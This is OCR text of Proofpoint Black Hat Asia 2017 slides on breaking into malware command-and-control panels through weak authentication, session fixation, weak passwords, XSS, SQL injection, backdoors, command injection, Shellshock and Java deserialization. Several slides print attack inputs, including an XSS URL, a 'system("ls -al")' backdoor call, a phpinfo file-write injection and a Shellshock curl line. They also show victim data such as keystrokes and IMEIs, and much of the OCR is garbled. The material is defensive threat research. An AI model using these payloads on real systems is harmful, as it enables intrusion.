> SMTP accounts: 2,136,017

0 gov:4,000+ ,mil:1,574+ (Over 1,220 one military
department)

> FTP accounts: 585,549
0 gov:258
> SSH-root: 1,236

> SSH-user: 50,757
] gov:92
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Method 7

Progress: now we know the C2'S
file structure...

... But how can we get
authenticated into the panel?
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Method 7 -- Insufficient authentication

> Win: C2 panel access
> Hancitor_Downloader

77 hitp: s GET iislifpanel.php (] (] [302 878674 HTML]
E1S J X ?

| Request I Response]

j Raw T Headers T Hex T HTML T Render ]

HTTP/1l.1 302 Moved Temporarily

Server: nginx/l.6.2

Date:

Content-Type: text/html

Connection: keep-alive

X-Powered-By: PHP/5.4.45

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Location: login.php

Content-Length: 878325

blgc’;khat proofpoint’

ASIA 2017

© 2017 Proofpoint, Inc.



Method 7 -- Insufficient authentication

> Win: C2 panel access
> Hancitor _Downloader

Users Data Commands Passwords Statistics

Marked Index Unique Id P Hostname Group Location Date/Time

20811 14135445063619539788 9. 147 SteveV'' |l [iueWin7\Administrator osos  ar72001  ZQgPASE0 |
20812 4340269366225675520 18¢ .69 JOHI " B [ WN-PC\Administrator 0905 g [

] 20813 8696575315777032584 49, 125 ADM-AmirT. [ ©-AmirDev2\Administrator 0905 04/- o0l

] 20814 7642642170765842228 207 .50 CME-DT- ELANDMETAL\tconsolo 0905 oH44122 20190511

[C] 20815 4355935535454098944 194 183 WINXPSP3Ci W | XPSP302K7\Administrator 0905 201

[ 20816 16579366358408519880 %. 106 Ke & IATHYPC\Owner 0905 Aoa?

[l 20817 4340115692765586688 1¢ 2 JOHI- & = wi-PC\Administrator 0905 02/- e

[[] 20818 2066928263900451922 207 220 : w4 JOHN-PC\Miller 0905  FL/33132 oot

[[] 20819 9398526014126001944 79 3.4 Wit ::g’\DAfj"rﬁin@gmtm 0905 et

[0l 20820 14135556439897112812 98. 1 147 SteveVem: m smsmeWin7\Administrator 0005 AR/72001 2380540

[ 20821 9398680824975840708 79 3.4 Wil A btrator 0905 e

© 2017 Proofpoint, Inc.
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Method 7 -- Insufficient authentication

> Win: C2 panel access
> Android Marcher malware

Statistics [Bots| SMS Cards Banks Pins Apps Settings Refresh
Control panel content T

Logged in as
{!LOGIN} {!REG_NEW} Logout

Last connect

|Bot ID | |Ccuntr‘y I |Oper*a‘tcr | |Comment | Any Vl Apply
Bots data 12345678910 111213 14
O [ ] IMEI ™  Operator Last Last = Number Comment

connect result
U5 m 86531 % #=0076 '] TELCEL @ 21.03.16 10:00 X P [[ok]" [comment |[oK]
083 m 64191 B84 3368 ww E-Telko @ 21.03.16 07:09 x b [[ok]  [comment J[ox]
05 m 35460 8" BH6592 = © 23.83.16 ©5:22 x b J[ok]  [comment |[oK]
08 m 35299 | (5988 mm © @ 21.03.16 08:39 x | [[ok] [comment J[oK]
05 m 35526%84 546917 mm Android @ 21.83.16 06:22 x b J[ox]  [comment |[oK]
08 m 00000NEEIENGE00 = Android @ 21.03.16 06:04 X [15 8554 |[ok]  [comment J[oK]
08 m 0000040000 E= Android @ 21.03.16 ©6:03 X  [15"mpas554  |[ok]  [Comment J[oK]
05 m 8657778 Bd1820 : © 23.03.16 ©5:25 x f [[ok] " [comment |[oK]
U5 m d5293Faa™ilagbl 2| © @ 21.03.16 03:28 X P J[ox]  [comment J[oK]
U5 m 356008 B, 11526 = o 23.03.16 ©5:24 5 HEIEEELE [[ok] " [comment |[oK]
05 m 35526k #46366 mm Android @ 21.03.16 03:02 x P [[ok]  [comment J[oK]
U5 m 3566301 MMNEN7457 mm MTS RUS @ 21.03.16 ©3:39 X P [[ok]" " [comment |[oK]
©217pl D B m 355268 =89054 mm Android @ 21.03.16 02:18 x

: b e e yofpoint?
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Method 7 -- Insufficient authentication

> Win: access victim statistics, execute C2
commands, etc.

> Android Marcher malware

Statistics |Bots| SMS Cards Banks Pins Apps Settings Refresh
Control panel content

Logged in as
{!LOGIN} {!REG_NEW} Logout

Die Bank und Du

DiBa M7 Postbank

Eine Bank fiirs Leben.

Kontonummer/Depotnummer

Benutzername/Kontonummer
CankAccess Number Internetbanking PIN

i Passwort/PIN
Security Number Sicherheitscode(6-stellig)

Login

el | m SOOOOmmmEEE /4D / g M1O RUD W £1.9Y9D2.10 UD.DT ~ 4 Hﬂl |LommentT ||ﬂ|
©2017 ek = 1 35526nme9054 mm Android @ 21.03.16 €2:18 x J[ok]= " fcomment J[oK] )OprIﬂt’

Send SMS Freedialog Send Delivery Intercept Windows New Appmass Send Command Notification adminPhone apiServer



Method 8

Now that we’ve authenticated
ourselves...

... can we expand laterally?
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Method 8 -- Session Fixation

> Win: access others panel on the same C2 server
without authentication

> Keybase (mostly operated by Nigerian actor)
+ Also has SQL injection, File upload vulnerabilitilies

index.php

<?php
. ob_start();
session start():

(!isset($ _SESSION[ 'logged in'])

$ SESSION|[ 'legged in'] true) {
header('Location: login.php'):

© 2017 Proofpoint, Inc. blg’ck hat prOOprI nt>
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Method 8 -- Session Fixation

> Win: access others panel on the same C2 server
without authentication

) Key b a KeyBase

o g
AISO ‘ Admin Dashboard

14 3058 1359

Computers Keystrokes Passwords Screenshots

= Screenshots
Notifications from Computers
s ____

2015-09-10 22:24:45

@ IV RRK-MA 3:24 PM
Passwords
Shes NITH 6:44 AM 4 2.58 2015-09-11 05:44:11

RA SH 2:13PM 41 3.232 2015-09-11 10:12:57

ojo]
CIM™ pelete Logs
JG BRETH 7:34 AM 7C 1.81 2015-09-11 11:34:48

SN proofpoint?
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Method 8 -- Session Fixation

> Keybase (mostly operated by Nigerian actor
> Targeted business email compromise (BEC

G ormsm Faes s, Qrems. s o Qmess Wk EERE . o ﬂ y T o) |

s y— er Contacts Actions Help

. S R =
& Py o,

Suggested Sites | B B e Help . I

Py

[8) Most Visited |} Getting Started

¥ Page:

Video Call Voice Call IMVironments

P b ok

send me the invoice

K@ Waiting for princess sonia to accept 1 file: /
J~  IBN Roshed 100kgs Chlordiazepoxide Docs.pdf (342 KB) & 3
~ Cancel (Alt+5hift+C)
10.2014

devals_lsey accept

BUZZ™ -11158/2015 DT: 25.06.2015,
dswwds ke money go enter tomorrow IDT: 26.03.2015,

You have sent 1 file to princess sonia.
']; IBN Roshed 100kgs Chlordiazepoxide Docs.pdf

MNG CO LLC
dxwwks l=e= na 4days the advance payment use enter

premews semsa: Na tomoorow go make am how many days
devwds Lae today makes it 4 working days
i is typing...

e = * 7 E [y of Final Destination

Pm&rr]age By ““’”m" SYRIA
TRUCK

Vessel/Flight No

Port of Dischargel,
BEIRUT DAMASCUS, SYRIA

Marks & SI.No. No. & kind of Pkgs

© 2017 Proofpoint, Inc. black hat p rOOfPOI r‘t>
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Method 9

How about directly guessing the
password?
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Method 9 -- Weak passwords

> Win: gain C2 panel access
> Blackmoo KRBanker (Targeting Korea)

€0 admin_index.asp ¢ || Q search %8 @O 3 4 © # - » =
SHEWE: 50 JHEPE P10 SAggs. o7 WARRE 117 REENE 70 DFIH RTER AR 4SS
.. . . d
T S
MACTR B RiEFRZ% 1Pig ik BREXHE =EHENE RES

0019~ ~52-EC Windows XP 183 8 W 24 2l 6;?135:22?m'% 2l 65?3;?2615]7'% 1.3

00-30~ - a-F0-31 Windows 7 101, 109 95,14 201 61‘10:32‘12:1235% 201 65?3;?159151%% 1.3

00-24- = == —1A-D9 Windows XP 121.1 1123 el (31-1():3;“2:2555_[@ el 65?36:215615"'2‘ 1.3

00-80- -34-03 Windows XP o5, 78 M 207 201 6;?135:227:(5]@ 20t eé?gfg;iﬁ,% 1.3

00-19- = =-B9—CD Windows XP 118 10 ke 245 el 6;?135?%215]7'% el 65?3;?371517'% 1.3

00-50- = =-50-83 Windows XP 67, IIIE 66 aone or e 415”'% 20165?3;?231517'% 1.3

4858 = -02-24 Windows XP 124 § J'H 55 e R &l 65?3;?281517'% 1.3

00-80- =-35-07 Windows XP 2170« i, 05 el 6;93335%% 201608 2 415“’% 1.3

08-00- " 1-98C-2D Windows XP 200, W m. 39 201 Ga?g;?ggﬂﬁ 201 65?36?25151%% 1.0

00-1A- " "W"-07-BB Windows XP 50, 18m = § 112 el s AR s 1.3 >

©2017 3:38:04 3:38:04 )Opr'“tw
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Method 9 -- Weak passwords

> Win: gain C2 panel access
> Cerber/Sage ransomware

© 2017 Proofpoint, Inc.

(€0 &

O :st,php

Password:

>>
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Method 9 -- Weak passwords s

> Win: gain WSO Webshell access
> Cerber/Sage ransomware

3.mybluemix.net/test.php 1109 c ® | Q search

Uname: Linux 9 )fd51 4.4.0-45-generic #66~14.04.1-Ubuntu SMP ¥Wed Oct 19 15:05:38 UTC 2016 %86_64 [explo

User: 2000 { vcap ) Group: 2000 { vcap )
Php: 5.5 Safe mode: [ phpinfo ] Datetime: 2017-03-01 07:17:40
Hdd: 10 MBE Free: 791.94 MB 6)

Cwd: Jhomefvcap/app/htdocs/ drwx % [ home ]

[ Sec. Info ] [ Files ] [ Console ] [ Sql] [ Php ] [ String tools ] [ Bruteforce ] [ Network ] [ Logout ] [ Sel

I File manager

B Name Size Modify Owner/Group Permissions

H.] dir 2017-02-23 00:22:45 vcap/vcap RT

Hm[..] dir 2017-02-16 20:28:05 vcap/root RT

M 350.exe 249,00 KB 2017-02-18 18:58:51 vcap/vcap =[Pna=r==lr== RTE
B amaz.html 1.18 KB 2017-02-19 22:14:59 vcap/vcap —rw—r--r-- RTE
M crf 22.19 MB 2017-02-16 20:27:40 vcap/vcap Rr=% RTE
M crit.sh 586 B 2017-02-16 20:27:34 vcap/vcap —FWRF=Xr=% RTE
d ect.js 32.31 KB 2017-02-19 22:15:12 vcap/vcap i =r—-r RTE
M font.js £9.59 KB 2017-02-17 22:27:26 vcap/vcap Py =r=—r-- RTE
M instances.txt oe 2017-02-16 20:27:34 vcap/vcap =(r=lr=={== RTE
W ip.txt 9B 2017-02-16 20:27:34 vcap/vcap =[R===lr== RTE
M shell.php 428 B 2017-02-16 20:27:34 vcap/vcap —rW-r--r-- RTE
| TO045384.zip 6.19 KB 2017-02-18 12:41:17 vcap/vcap —rwW-r--r-- RTE
M test.php 87.22 KB 2017-02-16 20:27:40 vcap/vcap [ RTE
B upload.php 8.80 KB 2017-02-16 20:27:34 vcap/vcap —rw—r—-=r-- RTE

= - =S




Method 9 -- Weak passwords

> Leverage: gainC2 panel access

> Cerber/Sage ransomware

- Imin.php?checker=true 1109 ¢ - Q
€ OF a.mybluemix.net,
e Checker Shells D se nverte elete
Uname: E—
2 cap )
25T 3p ) Group |
Php: Safe mode:
. [ ¥ & ¥ ¥ ]
Hdd:
Cwd:
Start 2017-02-20 17:39
To 2017-02-21 06:31
Work time 771
Masks 2765
I File manager Base 1000001
Done 996942
| Name Speed 1293 mail/min
Good
authorisation 593
Good 144
FULL GOOD 47
Get base 0
md5 good 0
Bots foralltime 207
Bots sends 25
60
2 s —, o 3
=
Bots Active 5
e N
P Time Status Start Count  Complate Goed
— 25 308 Workin 752000 500 155 0
B upload.php — orkang
Copy v — 62 Done 752500 500 500 0
—

B & A 9 #

NoSMTP  Nologin

~
NeSend %LoadZip Block =

100%

100%

[ Lo gout ]

-

[ Se

~+

—

2 T
2 TE
2 TE
2 TE
=
2 TE
2 TE
2 TE
2T E
2 TE
2 TE
2 TE
=




Method 10

And speaking of passwords...

... how else can we get the admin
password?
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Method 10 -- Hardcoded password /

download config file

> Win: understanding who's infected / targeted
> IRC bot (not well known)

h GEtem9uZS5jh20=

; Y 1AWV PpZGEtem3uZSajbh20=
( (- | (1) | —— = seethings bt g FpbmUyhw==
- a)i{samﬁmauhadn
bW s | Etem9uZs5jb20= =
- Ym 1AbWVpZGEtem9uzsS5]b20= z
Nj© A==

S FpbmUyMw==
ax. JsaXRoezZWwoub3Jn

e rone.com

N] — h womeida-zone.com
120 . J 5Ng== Ji e23
irc.. ked.org
Z2l' 6667
N7 == #0 iby6
i
Cr: cene -

6554
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ASIA 2017

© 2017 Proofpoint, Inc.



Method 10 -- Hardcoded password /

download config file

> Win: understanding who's infected / targeted
> IRC bot (not well known)

Computer Name CARD
User Name: Admin

Time Created: MAR 28.2016 12.34.32 AM

Date: 3/1/2016 8:16:51 AM

Window Title: Outlook Web App - Mozilla Firefox

Keystrokes: kel 35 [ENTER]
<

Date: 3/1/2016 8:17:11 AM

Window Title: New Tab - Google Chrome

Keystrokes: de [BS] [BS][BS] face
p

1700 L T Y O AR L[] N O TR O | 01T ] e N PR TR P ]
Date: 3/1/2016 8:46:49 AM

Window Title: Facebook - Log In or Sign Up - Google Chrome

Keystrokes: de, 2 [ENTER] [ENTER] [ENTER]
<

Date: 3/1/2016 8:47:35 AM

Window Title: (1) Facebook - Google Chrome

Keystrokes: mail 7" " [BS] [BS][BS][BS] [BS][BS] [BS] [BS][BS] [BS] [BS] [BS] [BS] [BS][BS] [BS] [BS] [BS] [BS] [BS] [BS] [BS]

1.3 W proofpoint’

ASIA 2017
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Method 11

If reversing is useful...

... how about code review?

blgc’;khat proofpoint’

ASIA 2017



Method 11 — Obtain source code

> Goal: obtain panel’s source code and review,
learn panel structure

> Fuzz folder names
« /bn/ ->bn.zip / bn.rar / bn.tar.gz
« /panel/ -> panel.zip / panel.rar / panel.tar.gz

> Custom fuzzer script: collect all C2 URLSs then
try to fuzz

b:a‘.'c’:khat proofpoint’

ASIA 2017

© 2017 Proofpoint, Inc.



Method 12 -- Cross site scripting

> Win: steal cookie and access C2 panel
> ISR stealer

EJ Requestto htip192.168.139.191:80

{ Forward H Drop Hlntercepti...H Action ymnnm.zfn. ftem ==

Raw | Params I Headers I Hex 1 /

GET
/php//index, php?action=addsusernane=aduin’3Cscripts3Ealert(/X55/) $3C/scripts3Eapas
sword=l23456&app=Chromeapcname=Test-BD103l&sitename=login.yahoo.com HTTP/1.1

ser-Agent: HardCore Software For : Public

accepty text/htul, application/xhtul+xul, application/xul;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0,5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=7£953acdd7155697542¢693dEdEc23E6
Comnection: keep-alive

blgc’:khat proofpoint’

ASIA 2017
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Method 12 -- Cross site scripting

XSS targeted
experiment

Duration

Successful trigger

Successful rate
Number of victims

Actors location

170 ISR Stealer panels on
unique domain name

2 weeks

Received 103 Cookies

60 %
66,284
Mostly in Nigeria

proofpoint’



Method 13 -- Backdoor

> Win: gain C2 server access

> Zeus Robot / Panther / GOZ

6 (¢ \/question. php?letter=login&THEMA_DIALOG_BEGIN=system{"ls -al"); c ‘ ‘ Q, search ‘ ﬁ E ‘ ﬁ‘ 9

total 152 drwxrwxrwx 6 nobody nogroup 4096 2015-03-23 01:55 . drwxr-xr-x 8 nobody root 4096 2015-02-25
11:12 .. drwxrwxrwx 3 nobody nogroup 4096 2015-05-11 14:56 _feedback -rwxrwxrwx 1 nobody nogroup
37033 2013-06-22 20:31 .htaccess drwxrwxrwx 2 nobody nogroup 4096 2015-05-11 17:13 inc -rwxrwxrwx 1
nobody nogroup 5 2013-04-01 15:39 index.php drwxrwxrwx 2 nobody nogroup 4096 2013-10-14 00:53 install
-rwxrwxrwx 1 nobody nogroup 49681 2011-01-28 20:07 question.php -rwxrwxrwx 1 nobody nogroup 1102
2011-04-14 12:07 redir.php -rwxrwxrwx 1 nobody nogroup 561 2011-04-14 12:07 sockslist.php drwxrwxrwx 2
nobody nogroup 4096 2013-10-14 00:53 theme -rwxrwxrwx 1 nobody nogroup 17771 2011-01-28 20:07
v2xzfb.php

User name:

Password:

- Remember (MD5 cookies)

Submit
function membershipsTolListBox($currentBotnet, $advQuery)

© 2017 Proofpoint, Inc. { ck hat prOOfp0|nt>

$advQuery htmlEntitiesEx($advQuery); = i
$memberships str replace(array('{NAME}', '{WIDTH}'), array('membership',2IA 20177




Method 14 -- Remote command
execution

> Win: root the C2 server

9 function fsarcCreate($archive, $files)
{
error_reporting(E_ALL);
(strcasecmp(substr(php _uname('s'), 0, 7), ‘windows"')
{
$archive = str_replace('/', "\\', $archive);
($files $k $v)$files[$k] str_replace('/",
}

$archive ‘.zip';
$cli 'zip -r -9 -q -S "'.$archive.'" "' .implode('" "', $file:
exec($cli, $e, $r);

($r ©)echo "(error: $r) ".$cli.'<br/>';
$r ? false : $archive;

© 2017 Proofpoint, | 34 prOOpr"lt.?




Method 14 -- Remote command

execution

CP :: Search in files

2> X fi D

kenfcp.php Metter=f

4Y Burp Suite Free Edition v1.5

Burp Intruder Repeater Window Help

Intruder T Repeater T Sequencer T Decoder T Comparer T Options T Alerts

Target T Proxy T Spider T Scanner

_[ lnterceptT History I Options ]

Proxy-Connection: keep-alive

Content-Length: 31

Cache-Control: max-age=0

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */ *; =
0.8

Origin: http:// .net

User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/37.0.2062.120 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Referer: http:// /ken/cp.php?letter=£f
Accept-Encoding: gzip,deflate

Accept-Language: zh-TW, zh;q=0.8,en-US;qg=0.6,en;q=0.4

Cookie: ref=8307497cdlacZha=sB8felS6lffh403fal;
__cfduid=d3a%93480a2f0b0c519adeb37€00£980b 1410504201498

filesaction=1&files%5B%5D=";echo "<?php phpinfo();?>" >
/home/ckhtmztf/public_html/images/ken/info.php %23

Request to http:if 80 [t 1]

[ Forward J l Drop J [ Intercept.. ] [ Action J Comment this item s (2
_[ Raw I Params I Headers T Hex ]
POST /images/ken/cp.php?letter=f&path= HTTP/Ll.1l A
Host: I

LR

? = & = Type a search termn 0 matches

e[size (bytes)

<DIR> 15.¢ 09:26:10

es (0 bytes) and 1 directories.
- -




Method 14 -- Remote command
execution

‘H Burp Suite Free Edition v1.5
Burp Intruder Repeater Window Help

Intruder T Repeater T Sequencer Del

Target T Proxy T
_[ Intercept T History T Options ]
Request to hitp:if 80 [

[ Forward J[

Drop J { Intercept... ] L

J Rawy I Params I Headers T Hex ]

POST /images/ken/cp.php?letter=f&path=
Host:

Proxy-Connection: keep-alive
Content-Length: 31

Cache-Control: max-age=0

Accept:

text/html, application/xhtml+xml, applic
0.8

Origin: http:// .ne
User-Agent: Mozilla/5.0 (Windows NT 5.
like Gecko) Chrome/37.0.2062.120 Safar
Content-Type: application/x-www-form-u
Referer: http://

Accept-Encoding: gzip,deflate
Accept-Language: zh-TW,zh;q=0.8,en-US;
Cookie: ref=8307497cdlacZha=8fel96lffh

<

_ cfduid=d3a93480aZf0b0c519adeh3760069820b 1410504201498

filesaction=1&files%5B%5D=";echo "<?php phpinfo();?>" >
/home/ckhtmztf/public_html/images/ken/info.php %23

e g search term

EEEE

System Linux server.cyber-node-bp2.org 2.6.32-431.29.2.e16.x86_64 #1 SMP Tue Sep 9 21:36:05 UTC
x86_64

Build Date | mp = = =% 19:18:05

Configure 'Jconfigure' --disable-fileinfo' '--enable-bcmath' '--enable-calendar' '--enable-fip' '--enable-gd-

Command native-ttf '--enable-libxml' '--enable-mbstring' '--enable-pdo=shared' '--enable-sockets' '--
prefix=/usr/local' '--with-apxs2=/usr/local/apache/bin/apxs' --with-curl=/opt/curlss|/ '--with-
freetype-dir=/usr' '--with-gd' '--with-imap=/opt/php_with_imap_client/ --with-imap-ssl=/usr' '--
with-jpeg-dir=/usr' '--with-kerberos' '--with-libdir=lib64' '--with-libxml-dir=/opt/xml2/ --with-
mcrypt=/opt/libmcrypt/ '--with-mysql=/usr' '--with-mysql-sock=/ar/lib/mysql/mysql.sock’ '--with-
mysqli=/usr/bin/mysql_config' --with-openssi=/usr' --with-openssl-dir=/usr' '--with-pcre-
regex=/opt/pcre' --with-pdo-mysql=shared' --with-pdo-sqlite=shared' '--with-pic' '--with-png-
dir=/usr' --with-xpm-dir=/usr' '--with-zlib' '--with-zlib-dir=/usr’

Server APl  (CGl/FastCGI

Virtual disabled

Directory

Support

Configuration |/usr/local/lib

File (php.ini)

Path

v >
X N fpoint’
0 matches |




Method 15 -- SQL Injection

> Purpose: dump C2 panel’'s database
> Android Opfake malware

€ > C A |[)wewe— g n/index.php?module=list ool &

CrartMcTHKa CHCTeMbl CraTtMCTHKa 3a0aHui Penaktop 3anaHui basa nonb3oBarenei YepHbIil CNHCOK CoxpaHéHHble SMS

Buiiit w3 CHCTEMH, c oK BCeX MONb3OBaTeNel CUCTeMbI

112
Moue | Movcx | ‘”Uml | Moue | Mavcx | ‘”E'mf
ﬂgTﬁ‘:aneva: CTpaHa: gll(o'lcl/flﬂel'ﬂ:é?:: II'lr:;IE:3OBBTenﬂ: 0nepaTop BAR: IP Gora:
12.09.2015 13:47 Poceua 12.09.2015 14:02 865 13472 MTS RUS 85, 33
11.09.2015 19:54 Pocaus 13.09.2015 15:55 353 31486 MegaFon 5.1¢ 168
08.02.2015 18:53 Poccua 18.09.2015 12:57 = 359 37756 Beeline 85.1 248
07.09.2015 14:54 Poccua 14.09.201509:46 357 34448 Rostelecorn B9, 129
07.09.2015 14:03 Pocaus 07.09.2015 14:03 353 57980 MegaFon 194 202
07.02.2015 06:31 Poccua 1509.2015 15:52 866 34286 MTS RUS 178, 388
06.09.2015 18:13 Poceua 06.09.2015 18:13 358 53409 MTS RUS 93.: 78
06.09.2015 09:08 Pocaus 08.09.2015 13:15 358 38133 Beeline 8s.: 82
05.09.2015 13:45 Urkriow 05.09.2015 13:49 869 11706 109, 116

© 2017 Proofpoint, Inc. 05.09.2015 12:46 Unknown 05.09.2015 12:46 352 38358 ! prOOfp0| r"t>

04.09.2015 06:50 Poccma 04.09.201507:28 861 71817 MegaFon 178. 190




Method 15 -- SQL Injection

> Win: dump C2 panel’s database

> Android Opfake malware
F 0 nanenesmeasnenna 20 < \

cC A D nfindex.php ?module=lis
gettask.php

<?php
(uconfig.phpu);
mysql_query ("SET NAMES 'utf8'");

$¢ip = $_SERVER['REMOTE_ADDR'];

$IMEI = $_GET['imei'];

LualLalivc PLY,

$query mysqgl_ query(" list balance="'$balancza" IMEI="$IMEI"
1", $db) (mysql_error());

$query_2 mysqgl_query(" list IMEI="$IMEI'", $db)
mysqgl_error());
$rows array();

© 2017 Proofpoint, Inc.  12:46 n 15 > | 352 A8358 prOOpr| nt>



Method 15 -- SQL Injection

> Win: dump C2 panel’s database
> Android Opfake malware

€« (' ! n/index.php?module=list <2

gettask.php
<?php

("config.php");
mysgl_query ("SET NAMES 'utf8'");

€ ) a mEm ettask.php?imei=' C Q Sesrch ﬁ =] 4+ A 4 @ <

You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near ™ LIMIT 1' at line 1

(mysgl_error());

$query_2 mysql_query(" list IMEI="$IMEI'", $db)
mysqgl_error());
$rows array();

05.09.2015 13:45 Unknown 05.09.2015 13:49 569 11706 &
: 5.09.2015 12:4¢6 nknown 5 2015 12:46 352 >
© 2017 Proofpoint, Inc. 05.09.2015 12:46 Unknown 05.09.2015 12:46 352 proofp0I nt
04.09.2015 06:50 Poccka 04.09.201507:28 861 71817 MegaFon 90




Method 16

Having admin panel access and
webshell access is GREAT...

... but how about rooting the
server?

b:a‘.'c’:khat proofpoint’
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Method 16 -- Remote command

execution

> Win: root the C2 server

> HFS - Vawtrak hosting TinyLoader as
downloader

(-d =m (& C'HO\SeaIch ‘ﬁ :=] 3 A © = - » =
[ S User
Lo Name .extension m Timestamp m

O & U 49 AM

— ./ Folder
O U images foider 10, 29 AM 1423

B ome O [@s70e S0KB 10, 126 AM 7

O [@)er0_aexe SOKB 10, 134 AM 0

2 folders, 2 files, 10.0 Kbytes

— 9 search

| (o]

~ db Select
[ All ][ Invert ][ Mask ]

0 items selected

~ b actions

| Archive | [ Get list ]

r S’ Server information
HttpFileServer 2.3f

© 2017 Proofpoint, | | Server ime: 1:19:23 AM )o‘fp0| l]'tw>

Server Uptime: (5 days) 09:40:40




Method 16 -- Remote command

execution

> Win: root the C2 server

> HFS -- Vawtrak hosting TinyLoader as
downloader

€)@ YA D A® ¢ »

_users:|12529 STATUS:X _updated:87-18-15/03:06:26
[ S User

_Clone:|-5807

vnware:|5
Login #integrity Level:

HIGH:3677 HEDIUM:2136 | Low:297 19 AM 374
[~/ Folder UAC x32:5 uac x64:1 | -5 29 AM 1423
, CUE %32:0 CUE x64:63 | -64
| 2
* Home #isysten: 26 AM 7
WINKx32:1446  WINUx32:196  WIN7x32:3398  WINSx32:574  UNKWx32:9 34 AM 0
2 folders, 2 files, 10.0 Ki yryxxsuzo WINUX64:17 WIN7x64:5067  WINSx64:1743  UNKUx64:0
#loader:
— 9 search
LDx32:5623 LDx64:6390 LDx86:437
#netframe:
v2.8:68 v3.68:18 v3.5:1207 uh.08:4335 NONE:159
_ x Select— |#antivirus:
AD-AUARE :13
Invert M| aHnLaB-v3 5
ARCAUVIR:1
) AVAST:751
0 items selected |avg:711|
AUIRA:319
BITDEFENDER :42
— o |BULLGUARD:7
b actions COHODO:13
DRVEB:3
- EMSISOFT:2
Archive Get I[¢ secure s
G-DATA:8

K7-ULTIMATE:5
) ) . KASPERSKY:198

— %9 Server information HCAFEE:1112

NOD32:387

HttpFileServer 2.3f NORMAN: 4
NORTON-360:32

© 2017 Proofpoint, | | Server ime: s NORTON 1550 DOfPOI nt?

Server uptime: (5 days) 09
QUICK-HEAL:19
TOTAL-DEFENSE:17




Method 17 — Shellshock

(CVE-2014-6271)

>
>

Win: gain C2 server access
Sutra TDS — undisclosed

( i- ) @ | peeme— 105 0 21 EJ c HQ Search ’ w B8 43y A

© 201"

0S:
Linux 3.1.3 #1 SMP Mon Nov 28 00:18:51 MSK 2011 1686 1686 1386 GNU/I

path:
fvar fwww fdata/www/googly n zom

user id:
n1d=500( == =) g1d=502( = ) groups=501{1. Y,502(7 2

Environment:
SERVER _SIGNATURE=<address>hpache/2.2.23 (CentOS) Server at googl o .com Port
80</address>

HTTP_USER_AGENT=Mozilla/5.0 (Windows NT 5.1; rv:43.0) Gecke/20100101 Firefox/43.0
HTTP_X_FORWARDED FOR=

SERVER_PORT=80 N
HTTP_HOST=google & "1 .com



Method 17 — Shellshock

(CVE-2014-6271)

> Win: gain C2 server access
> Sutra TDS — undisclosed

“~ o Joetos.cgl E] c Search w B U 3 A
0S:
IR \bin>curl —A VO < >; /shin/ifconfig —a" http:/, COELERT | 386 GNU/L

Link encap:Ethernet HWaddr E4: :B5S
BROADCAST MULTICAST MTU:15608 Metric:1

RZ packets:0 errors:0 dropped:8 overruns:0 frame:0
T® packets:0 errors:@ dropped:0 overruns:0 carrier:0
collisions:8 txqueuelen:10600

R bytes:8 (B.8 h> TX hytes:0 (B.68 b

Interrupt:17 Memory: :A000—-f cB80BH80H
Envi Link encap:Local Loophack
inet addr:127.6.8.1 Mask:255.0.0.0

inet6 addr: ::1,/128 Scope:Host .com Port

UP LOOPBACK RUNNING MTU:16436 Metric:1

R¥ packets:1 247 errors:0 dropped:0 overruns:8 frame:0

T® packets:1 247 errors:0 dropped:@ overruns:@ carrier:0 143 0
collisions:@ txqueuelen:@ '
RR bytes:213174866 (283.2 MiB> TZX bhytes:2131740866 <(2083.2 MiB)

o201 SERVERTPORT=00 1t
HTTP_HOST=googl "1 .com




Method 18 -- JAVA Unserialize

Vulnerability (CVE-2015-4852

> Win: gain access C2 server

> Android Fake-Angry

« Oracle WeblLogic Server, versions 10.3.6.0, 12.1.2.0,
12.1.3.0, 12.2.1.0 are affected

v

<
=]

lost+found

etc

selinux

mnt

root

var
boot
lib

bin

4

workspace
E zmdweb
Y ﬁ push
F Plugins
v [} wes-InF
r classes
{i o
r riex
| web xml
.DS Store
applicationContext.xml

© 2017 Proof weblogic.xml

...D5_Store

<\—- FIEMFRERERE (RE0) -->

<!~ BiIREH] >
<servet>
<seniet-name>PsCereContraller2 </serviet-name>
<serviet-class >com.nandbb. pushsys.newcontroller.PsCoraController</serviet-class >
<fserviet>
<serviet-mapping>
<servdet-namexPsCereContraller2 </serviet-name >
<url-pattarn>/newservice« /url-pattern >
</servet-mapping >
<|-- PSRRI ERIEE >
<serdet>
<serdet-name>UserCountController2 < /sendet-name>
<senrdet-class >com.handbb. pushsys.newcontrollzr.UserCountController< /serviet-class >
</serviet>
<senriet-maoping>
<serviet-name>UserCountController2 < /serviet-name >
<url-pattern>/newservice/UserCountController</url-pattern >
</servet-mapping >
<l-— FERUES FBUSIESE -~
<sendet>
<servet-name>TaskAndActivityController2</serviet-name>
<servet-class >com.handbb. pushsys.newcontroller. TaskandActivityController< /sendet-class >
<[servdet>
<sendet-mapping>
<sendet-name>TaskandActivityController2 < /serviel-name>
<url-pattarn>/newservice/ TasKAnGACtIMtyController</uri-patiem >
</serviet-mapping >
<! 2 HERIEE >
<servet>
<serdet-namesStatisController2 < /serviat-name>
<serdet-class >com handbb pushsys newcontroller StatisController</servist-class >
</serviet>
<sendet-mapping>
<servdet-name>StatisController2 </servist-name>
<url-pattern>/newservice/StatisController< /url-pattern>
</serviet-mapping >
<!=- BAAAIRAZERISE — >
<serviet>
<servet-namexIgnoreController2 </serdet-names
<servet-class >com.handbb. pushsys.newcontroller.IlgnoreCentroller < /servet-class>
s/carvets

proofpoint’



Method 19

Now that we can execute arbitrary
commands and access arbitrary
files...

... how to very quickly grasp what's
there?

b:a‘.'c’:khat proofpoint’

ASIA 2017



Method 19 -- Webalizer/AWStat

> Leverage: Understanding a C2’s structure
> Northern Gold (Qbot)

B
1 2142342 34.56% 732766 0.76% |/t Qbot gate
2 1306853 21.08% 716881 0.75% |’k Exploits go to sutra
3 240434 3.88% 69783581 72.65%|/V Qbot exe updates
4 72215  116% 20450287|  21.20%|/w/_gbotinj.exe [botere |
5 12981 021% 1121722  117%|/w [ Webinjects for all |
